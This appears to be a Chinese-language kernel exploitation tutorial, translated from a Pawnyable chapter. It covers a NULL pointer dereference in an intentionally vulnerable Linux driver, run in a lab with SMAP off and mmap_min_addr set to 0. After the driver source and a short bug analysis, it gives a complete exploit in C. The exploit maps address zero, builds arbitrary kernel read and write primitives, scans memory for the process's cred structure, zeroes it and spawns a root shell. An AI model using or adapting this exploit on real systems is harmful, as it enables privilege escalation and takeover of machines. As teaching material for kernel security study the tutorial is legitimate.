原文
NULL Pointer Dereference
题目下载
环境宽松限制
启动选项中可以看到,SMAP在被攻击的机器上被禁用。除非禁用 SMAP,否则无法利用本章中讨论的 NULL 指针取消引用。
还可以尝试启动该内核并输入以下命令:
$ cat /proc/sys/vm/mmap_min_addr
0
mmap_min_addr
是一个 Linux 内核变量,顾名思义,它限制可以从用户态mmap映射的最低地址。
请注意,默认情况下它是一个非零值,但在我们的攻击目标中设置为 0。
该变量是从 Linux 内核版本 2.6.23 引入的,作为 NULL 指针取消引用的缓解措施,我们将在此处处理该问题。
本章的内容是基于可以避免SMAP和mmap缓解的前提下的攻击。
代码分析
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Angus - Vulnerable Kernel Driver for Pawnyable");
#define DEVICE_NAME "angus"
#define CMD_INIT 0x13370001
#define CMD_SETKEY 0x13370002
#define CMD_SETDATA 0x13370003
#define CMD_GETDATA 0x13370004
#define CMD_ENCRYPT 0x13370005
#define CMD_DECRYPT 0x13370006
typedef struct {
char *key;
char *data;
size_t keylen;
size_t datalen;
} XorCipher;
typedef struct {
char *ptr;
size_t len;
} request_t;
long xor(XorCipher *ctx) {
size_t i;
if (!ctx->data || !ctx->key) return -EINVAL;
for (i = 0; i < ctx->datalen; i++)
ctx->data[i] ^= ctx->key[i % ctx->keylen];
return 0;
}
static int module_open(struct inode *inode, struct file *filp) {
filp->private_data = NULL;
return 0;
}
static int module_close(struct inode *inode, struct file *filp) {
XorCipher *ctx;
if ((ctx = (XorCipher*)filp->private_data)) {
if (ctx->data) kfree(ctx->data);
if (ctx->key) kfree(ctx->key);
kfree(filp->private_data);
}
return 0;
}
static long module_ioctl(struct file *filp,
unsigned int cmd,
unsigned long arg) {
request_t req;
XorCipher *ctx;
if (copy_from_user(&req, (void*)arg, sizeof(request_t)))
return -EINVAL;
ctx = (XorCipher*)filp->private_data;
switch (cmd) {
case CMD_INIT:
if (!ctx)
filp->private_data = (void*)kzalloc(sizeof(XorCipher), GFP_KERNEL);
if (!filp->private_data) return -ENOMEM;
break;
case CMD_SETKEY:
if (!ctx) return -EINVAL;
if (!req.ptr || req.len > 0x1000) return -EINVAL;
if (ctx->key) kfree(ctx->key);
if (!(ctx->key = (char*)kmalloc(req.len, GFP_KERNEL))) return -ENOMEM;
if (copy_from_user(ctx->key, req.ptr, req.len)) {
kfree(ctx->key);
ctx->key = NULL;
return -EINVAL;
}
ctx->keylen = req.len;
break;
case CMD_SETDATA:
if (!ctx) return -EINVAL;
if (!req.ptr || req.len > 0x1000) return -EINVAL;
if (ctx->data) kfree(ctx->data);
if (!(ctx->data = (char*)kmalloc(req.len, GFP_KERNEL))) return -ENOMEM;
if (copy_from_user(ctx->data, req.ptr, req.len)) {
kfree(ctx->key);
ctx->key = NULL;
return -EINVAL;
}
ctx->datalen = req.len;
break;
case CMD_GETDATA:
if (!ctx->data) return -EINVAL;
if (!req.ptr || req.len > ctx->datalen) return -EINVAL;
if (copy_to_user(req.ptr, ctx->data, req.len)) return -EINVAL;
break;
case CMD_ENCRYPT:
case CMD_DECRYPT:
return xor(ctx);
default: return -EINVAL;
}
return 0;
}
static struct file_operations module_fops = {
.owner = THIS_MODULE,
.open = module_open,
.release = module_close,
.unlocked_ioctl = module_ioctl
};
static dev_t dev_id;
static struct cdev c_dev;
static int __init module_initialize(void)
{
if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
return -EBUSY;
cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;
if (cdev_add(&c_dev, dev_id, 1)) {
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}
return 0;
}
static void __exit module_cleanup(void)
{
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, 1);
}
module_init(module_initialize);
module_exit(module_cleanup);
module_open
CMD_INIT
CMD_SETKEY
CMD_SETDATA
CMD_ENCRYPT && CMD_ENCRYPT
CMD_GETDATA
漏洞分析
代码在CMD_SETKEY
和CMD_SETDATA
,会检查filp->private_data
是否指向null,这没问题
ctx = (XorCipher*)filp->private_data;
case CMD_SETDATA:
if (!ctx) return -EINVAL;
case CMD_SETKEY:
if (!ctx) return -EINVAL;
但是在CMD_GETDATA
、CMD_SETDATA
、CMD_ENCRYPT
、CMD_DECRYPT
处没有检查filp->private_data
是否指向null
(重要前提,没有开启smap保护、关闭了mmap_min_addr限制)
会产生如下的问题
exp
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define CMD_INIT 0x13370001
#define CMD_SETKEY 0x13370002
#define CMD_SETDATA 0x13370003
#define CMD_GETDATA 0x13370004
#define CMD_ENCRYPT 0x13370005
#define CMD_DECRYPT 0x13370006
typedef struct {
char *key;
char *data;
size_t keylen;
size_t datalen;
} XorCipher;
typedef struct {
char *ptr;
size_t len;
} request_t;
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int fd;
int angus_init(void) {
request_t req = { NULL };
return ioctl(fd, CMD_INIT, &req);
}
int angus_setkey(char *key, size_t keylen) {
request_t req = { .ptr = key, .len = keylen };
return ioctl(fd, CMD_SETKEY, &req);
}
int angus_setdata(char *data, size_t datalen) {
request_t req = { .ptr = data, .len = datalen };
return ioctl(fd, CMD_SETDATA, &req);
}
int angus_getdata(char *data, size_t datalen) {
request_t req = { .ptr = data, .len = datalen };
return ioctl(fd, CMD_GETDATA, &req);
}
int angus_encrypt() {
request_t req = { NULL };
return ioctl(fd, CMD_ENCRYPT, &req);
}
int angus_decrypt() {
request_t req = { NULL };
return ioctl(fd, CMD_ENCRYPT, &req);
}
XorCipher *nullptr = NULL;
int AAR(char *dst, char *src, size_t len) {
nullptr->data = src;
nullptr->datalen = len;
return angus_getdata(dst, len);
}
void AAW(char *dst, char *src, size_t len) {
char *tmp = (char*)malloc(len);
if (tmp == NULL) fatal("malloc");
AAR(tmp, dst, len);
for (size_t i = 0; i < len; i++)
tmp[i] ^= src[i];
nullptr->data = dst;
nullptr->datalen = len;
nullptr->key = tmp;
nullptr->keylen = len;
angus_encrypt();
free(tmp);
}
int main() {
fd = open("/dev/angus", O_RDWR);
if (fd == -1) fatal("/dev/angus");
if (mmap(0, 0x1000, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE,
-1, 0) != NULL)
fatal("mmap");
prctl(PR_SET_NAME, "nekomaru");
unsigned long addr;
size_t stride = 0x1000000;
char *needle, *buf = malloc(stride);
if (!buf) fatal("malloc(stride)");
for (addr = 0xffff888000000000; addr < 0xffffc88000000000; addr += stride) {
if (addr % 0x10000000000 == 0) printf("[*] Searching 0x%016lx...\n", addr);
if (AAR(buf, (char*)addr, stride) != 0) continue;
if (needle = memmem(buf, stride, "nekomaru", 8)) {
addr += (needle - buf);
printf("[+] Found comm: 0x%016lx\n", addr);
break;
}
}
if (addr == 0xffffc88000000000) {
puts("[-] Not found");
exit(1);
}
unsigned long addr_cred;
AAR((char*)&addr_cred, (char*)(addr - 8), 8);
printf("[+] cred: 0x%016lx\n", addr_cred);
char zero[0x20] = { 0 };
AAW((char*)(addr_cred + 4), zero, sizeof(zero));
puts("[+] Win!");
system("/bin/sh");
return 0;
}